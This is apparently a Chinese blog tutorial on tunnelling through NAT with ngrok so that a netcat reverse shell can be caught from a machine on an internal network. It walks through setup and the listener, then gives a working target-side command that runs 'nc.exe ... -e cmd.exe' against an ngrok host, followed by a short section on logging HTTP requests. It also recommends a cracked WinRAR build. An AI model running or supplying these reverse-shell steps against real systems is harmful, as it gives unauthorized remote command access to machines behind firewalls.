双方都是内网的反弹shell工具。
Ngrok的下载地址:/download
如果你是MAC OS X或者linux可以按照以下步骤安装。
$ unzip /path/to/ngrok.zip
然后查看他支持的命令
$ ./ngrokhelp
如果你是 windows下可以按照以下步骤安装
下载下了后选中文件,右键解压到当前文件夹。
什么,你右键菜单没有这个选项。
那么请安装《winrar烈火汉化破解版》。
然后有个窗口一闪而过。
之后会出现这个:
然后按下 微软徽标键+R (PS:微软徽标键就是在你的键盘上Ctrl和Alt中间的那个键。)
输入cmd然后回车。
打开cmd后,将刚才解压出来的ngrok.exe拖入。
然后再输入help回车。
可以看到它支持很多命令。
NAME:ngrok - tunnel local ports to public URLs and inspect trafficDESCRIPTION:ngrok exposes local networked services behinds NATs and firewalls to thepublic internet over a secure tunnel. Share local websites, build/testwebhook consumers and self-host personal services.Detailed help for each command is available with 'ngrok help<command>'.Open http://localhost:4040 for ngrok's web interface to inspect traffic.EXAMPLES:ngrok http 80#secure public URL for port 80 web serverngrok http -subdomain=baz 8080 #port 8080 available at baz.ngrok.iongrok http foo.dev:80 #tunnel to host:port instead of localhostngrok tcp 22 #tunnel arbitrary TCP traffic to port 22ngrok tls -hostname= 443 #TLS traffic for to port 443ngrok start foo bar baz#start tunnels from the configuration fileVERSION:2.1.3AUTHOR:inconshreveable - <alan@>COMMANDS:authtoken save authtoken toconfiguration filecreditsprints author andlicensing informationhttp start an HTTP tunnelstart start tunnels by namefrom the configuration filetcpstart a TCP tunneltlsstart a TLS tunnelupdate update ngrok to thelatest versionversionprint the versionstringhelp Shows a list ofcommands or help for one command
使用前先要去注册个账号,
地址:/user/login
不要告诉我你不会注册账号
先执行认证。
Windows图:
会提示你Authtoken saved toconfiguration file:认证文件存到哪里。
Linux图:
(PS:Authtoken懒得打码了,请不要搞事)
认证Token导入好后,开始讲内网穿透的部分。
./ngrok tcp 9999 **获得一个公网地址,如下图。
ngrok 是不能后台运行的,所以我们要借助screen(用法百度)实现后台运行。
然后再nc -vv -l -p 9999
然后目标机器(内网的windos笔记本)执行
nc.exe -vv 0.tcp.ngrok.io 15996 -e c:\Windows\System32\cmd.exe
0. tcp.ngrok.io 15996 为刚才利用ngrok 得到的公网地址,如下图
然后就反弹回来shell。(PS:由于作者手中没有内网的服务器所以没截图)
下面讲内网机器做HTTP请求记录器:
只需要执行ngrok.exe http 80就可以了。
会发现Tunnel Status online时
Forwardinghttp://771c988f.ngrok.io -> localhost:80
Forwardinghttps://771c988f.ngrok.io -> localhost:80
访问后会有记录。
http://localhost:4040是在线控制台,可以看请求的详细信息。
如果你在80端口搭建了HTTP服务器,那么他就不是显示这个页面:
而是将流量转发到HTTP服务上,访问的是自己内网的HTTP页面。